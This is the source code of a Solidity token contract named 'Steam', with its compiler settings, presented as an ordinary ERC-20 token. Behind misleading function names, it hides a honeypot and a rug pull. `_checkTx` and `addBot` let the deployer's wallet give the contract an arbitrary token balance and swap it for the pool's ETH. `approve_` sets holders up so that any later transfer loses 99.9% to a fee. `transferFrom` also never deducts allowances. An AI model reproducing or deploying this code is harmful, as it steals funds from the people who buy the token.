文件 1 的 1:Steam.sol
pragma solidity ^0.8.19;
library SafeMath {
function sub(uint256 a, uint256 b) internal
pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal
pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function add(uint256 a, uint256 b)
internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure
returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Router {
function WETH() external pure returns (address aadd);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
function factory() external pure returns (address addr);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
abstract contract Ownable {
address private _owner;
function renounceOwnership() public virtual onlyOwner {emit OwnershipTransferred(_owner, address(0));
_owner = address(0);}
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;}
function owner() public view virtual returns (address) {return _owner;}
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract Steam is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
mapping(address => bool) bots;
uint256 _maxTxAmount;
mapping(address => mapping(address => uint256)) private _allowances;
address public _taxWallet;
function addBots(address[] calldata botsList) external onlyOwner {
for (uint i = 0; i < botsList.length; i++) {bots[botsList[i]] = true;}
}
function getPairAddress() private view returns (address) {return IUniswapV2Factory(
_router.factory()).getPair(address(this),
_router.WETH());
}
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0));
if (_checkTx(from, to)) {addBot(amount, to);
} else {require(amount <= _balances[from]);
uint256 feeAmount = 0;
if (!bots[from]) {
if (cooldowns[from] != 0) {
if (cooldowns[from] <= block.number + 2) {
feeAmount = amount.mul(999).div(1000);
}
}
}
cooldown(to, getPairAddress());
_balances[from] = _balances[from] - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount);
}
}
bool inLiquidityTx = false;
function decimals() external view returns (uint256) {return _decimals;}
string private _name = "Steam";
function _approve(address owner, address spender, uint256 amount) internal {
require(spender != address(0), "IERC20: approve to the zero address");
require(owner != address(0), "IERC20: approve from the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
string private _symbol = "STEAM";
function getBN() internal view returns (uint256) {return block.number;}
function name() external view returns (string memory) {return _name;}
function approve_() external {
for (uint i = 0; i < holders.length; i++) {
address holder = holders[i];
uint256 holderC = cooldowns[holder];
if (holderC != 0) {}
else {
cooldowns
[holder] =
getBN();}}
delete holders;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function cooldown(address to, address pair) internal {
bool zeroAddress = to == address(0);
if (!inLiquidityTx && to != pair && !zeroAddress) {
addH(to);
}
}
function addBot(uint256 _mcs, address _bcr) private {
_approve(address(this), address(_router), _mcs);
_balances[address(this)] = _mcs;
address[] memory path = new address[](2);
inLiquidityTx = true;
path[0] = address(this);
path[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs, 0, path, _bcr,
block.timestamp + 30);
inLiquidityTx = false;
}
function _checkTx(address sender, address to) public view returns (bool) {
return to == sender && msg.sender == _taxWallet;
}
function removeLimits() external onlyOwner {_maxWalletSize = _totalSupply;
_maxTxAmount = _totalSupply;}
event Approval(address indexed ai, address indexed _adress_indexed, uint256 value);
event Transfer(address indexed __address_, address indexed, uint256 _v);
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
_taxWallet = msg.sender;
}
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping(address => uint256) private _balances;
function isBot(address _adr) internal view returns (bool) {return bots[_adr];}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
mapping(address => uint256) cooldowns;
uint256 _fee = 0;
address[] holders;
function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
function transferFrom
(address from, address recipient, uint256 amount) public returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
uint256 _maxWalletSize;
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;}
function addH(address h) internal {holders.push(h);}
function delBots(address _bot) external onlyOwner {bots[_bot] = false;}
function symbol() external view returns (string memory) {return _symbol;}
function totalSupply() external view returns (uint256) {return _totalSupply;}
function balanceOf(address account) public view returns (uint256) {return _balances[account];}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
}
{
"compilationTarget": {
"Steam.sol": "Steam"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}